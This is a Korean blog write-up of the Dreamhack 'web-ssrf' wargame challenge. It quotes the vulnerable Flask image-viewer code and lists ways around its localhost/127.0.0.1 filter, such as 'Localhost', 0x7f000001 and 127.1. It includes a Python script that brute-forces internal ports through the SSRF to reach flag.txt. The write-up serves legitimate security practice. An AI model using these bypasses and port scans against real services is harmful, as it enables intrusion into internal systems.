본문 바로가기

드림핵 워게임

[드림핵/워게임] web-ssrf

https://dreamhack.io/wargame/challenges/75/

 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. 문제 수정 내역 2023.07.17 css, html 제공 Reference Server-side Basic

dreamhack.io

 

입력 칸에 바로 /flag.txt를 넣으니 뭐가 뜨긴 한다.

이게 뭔가 하고 보니

404... 에러였다.

 

코드를 보자

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

img_viewer 페이지이다.

1. GET 방식이면 img.viewer.html 렌더링

2. POST 방식이면 이용자가 입력한 url에 HTTP 요청, 응답을 렌더링

3. 단, localhost, 127.0.0.1이 들어가면 에러

 

사실 이 문제의 핵심은

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)

여기에 있었다.

port를 1500~1800에서 랜덤으로 뽑는데, 이것을 알아내야 한다.

 

 

이 문제의 전체적인 흐름은 다음과 같다.

1. 이용자가 파일을 올리고 보는 포트는 8000으로 고정되어 있다.

2. 하지만 flag.txt 파일은 랜덤 포트에서 실행된 내부 HTTP 서버 쪽에 있다.

3. 따라서 랜덤으로 뽑은 포트 번호를 알아내서 그쪽으로 접근한 후, flag.txt 파일에 접근해야 한다.

 

우선 localhost, 127.0.0.1을 입력하지 못하므로, 이를 우회하는 방법부터 알아 보자

1. localhost의 alias 이용

- URL에서 호스트와 스키마는 대소문자를 구분하지 않는다.

- 따라서 Localhost 등으로 바꿔 줄 수 있다.

2. 127.0.0.1의 alias 이용

- 127.0.0.1의 각자리를 16진수로 변환한 0x7f.0x00.0x00.0x01

- . 을 제거한 0x7f000001

- 이를 10진수로 풀어 쓴 2130706433

- 혹은 0을 생략한 127.0.1, 127.1

 

다음엔 포트 번호를 알아내야 한다.

잘못된 포트로 접근하면

이런 식으로 iVBO... 로 시작하는 것이 응답에 포함되어 오게 된다.

 

따라서 1500~1800을 하나씩 방문하면서 응답에 iVBO~ 가 없는 포트를 찾으면 된다.

이는 python의 requests 모듈을 이용하여 해 주었다.

 

import requests
 
NOTFOUND = "iVBO"
url= "http://host3.dreamhack.games:15477/img_viewer"

for i in range(1500,1801):
    port = i
    image_url= 'http://Localhost:'+str(port)
    data = { "url" : image_url }
    response = requests.post(url, data).text
    if NOTFOUND not in response:
       print(str(port)+"is real!!")
       break
    else:
        print(port)

이렇게 브루트포스로 1500~1800를 전부 돌면서 iVBO가 응답에 포함되어 있지 않으면 break를 걸어 주었다.

 

이렇게 포트가 나왔다.

 

포트 번호를 알아냈으니 flag.txt를 보자

http://Localhost:1795/flag.txt를 넣어 주겠다.

iVBO가 아닌 다른 게 나왔다.

이를 디코딩 해 보면

이렇게 플래그를 얻을 수 있다.